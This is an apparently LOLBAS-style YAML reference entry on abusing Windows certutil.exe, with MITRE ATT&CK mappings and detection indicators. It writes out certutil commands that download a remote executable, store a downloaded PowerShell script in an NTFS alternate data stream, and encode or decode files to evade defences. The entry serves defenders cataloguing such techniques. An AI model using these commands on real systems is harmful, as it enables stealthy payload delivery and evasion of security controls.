2018-06-09 00:15:06 +02:00
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Name: Certutil.exe
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2018-09-24 01:50:14 +02:00
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Description: Windows binary used for handeling certificates
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Author: 'Oddvar Moe'
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2018-06-09 00:15:06 +02:00
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Created: '2018-05-25'
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Commands:
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- Command: certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
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Description: Download and save 7zip to disk in the current folder.
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2018-09-24 01:50:14 +02:00
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Usecase: Download file from Internet
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Category: Download
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Privileges: User
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MitreID: T1105
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MitreLink: https://attack.mitre.org/wiki/Technique/T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
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2018-06-09 00:15:06 +02:00
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Description: Download and save a PS1 file to an Alternate Data Stream (ADS).
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2018-09-24 01:50:14 +02:00
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Usecase: Download file from Internet and save it in an NTFS Alternate Data Stream
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Category: Alternate data streams
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Privileges: User
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MitreID: T1105
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MitreLink: https://attack.mitre.org/wiki/Technique/T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: certutil -encode inputFileName encodedOutputFileName
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Description: Command to encode a file using Base64
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Usecase: Encode files to evade defensive measures
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Category: Encode
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Privileges: User
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MitreID: T1027
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MitreLink: https://attack.mitre.org/wiki/Technique/T1027
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: certutil -decode encodedInputFileName decodedOutputFileName
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Description: Command to decode a Base64 encoded file.
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Usecase: Decode files to evade defensive measures
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Category: Decode
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Privileges: User
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MitreID: T1140
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MitreLink: https://attack.mitre.org/wiki/Technique/T1140
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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Full Path:
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2018-09-24 01:50:14 +02:00
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- path: C:\Windows\System32\certutil.exe
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- path: C:\Windows\SysWOW64\certutil.exe
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Code Sample:
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- Code:
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Detection:
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- IOC: Certutil.exe creating new files on disk
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- IOC: Useragent Microsoft-CryptoAPI/10.0
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- IOC: Useragent CertUtil URL Agent
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 01:50:14 +02:00
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- Link: https://twitter.com/Moriarty_Meng/status/984380793383370752
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- Link: https://twitter.com/mattifestation/status/620107926288515072
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Acknowledgement:
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- Person: Matt Graeber
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Handle: '@mattifestation'
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- Person: Moriarty
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Handle: '@moriarty2016'
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